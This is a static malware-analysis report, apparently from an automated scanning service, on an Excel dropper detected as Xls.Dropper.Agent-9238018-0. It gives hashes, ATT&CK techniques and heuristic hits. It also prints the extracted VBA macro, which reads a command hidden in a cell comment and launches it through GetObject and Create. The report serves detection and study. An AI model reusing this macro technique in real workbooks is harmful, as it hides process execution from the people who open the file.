Xls.Dropper.Agent-9238018-0 — Office (OOXML) malware analysis

Static analysis result for SHA-256 53604dccd6756ae1…

MALICIOUS

Office (OOXML)

80.7 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: 5521a14421fbf76c3696f8b52fd300fb SHA-1: 40261e933ad21244a03485b01df36a2c2547f4d1 SHA-256: 53604dccd6756ae1de7afd13bd052ded0a41497ac718118bf2c8a9aa33bf88c9
180 Risk Score

Malware Insights

Xls.Dropper.Agent-9238018-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 Signed Binary Proxy Execution: Rundll32

The file is identified as malicious by ClamAV with the signature Xls.Dropper.Agent-9238018-0. Static analysis reveals the presence of VBA macros, specifically a GetObject call within the Workbook_Activate and Worksheet_Change subroutines. This suggests the macro is designed to execute a secondary payload, likely by leveraging the GetObject function to run external code.

Heuristics 3

  • ClamAV: Xls.Dropper.Agent-9238018-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-9238018-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1104 bytes
SHA-256: d154053d78b58f6e4e342586f821e33f674801ac2d8096e8fc42056e49f9bab3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Activate()
Range("A500").Value = 3.14159
End Sub
  



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Worksheet_Change(ByVal target As Range)
Dim xxWk, RoVzT, Ovbvaf


  xxWk = ThisWorkbook.ActiveSheet.Range("C500").Comment.Text
 
  RoVzT = Split(xxWk, "<.>")

  Ovbvaf = pIwFg(RoVzT(1), RoVzT(0))

End Sub

Function pIwFg(A2, A1)
Dim jlvrPtx, IqVgLXmH, rSol, intProcessID
Set jlvrPtx = GetObject(A1)
IqVgLXmH = A2

rSol = jlvrPtx.Create(IqVgLXmH, Null, Null, intProcessID)

End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17408 bytes
SHA-256: 91e5dd3e20d6c909df5f515e0514b079e9b537e285c9bb0c853c9e418e92710b
Detection
ClamAV: Xls.Dropper.Agent-9238018-0
Obfuscation or payload: unlikely

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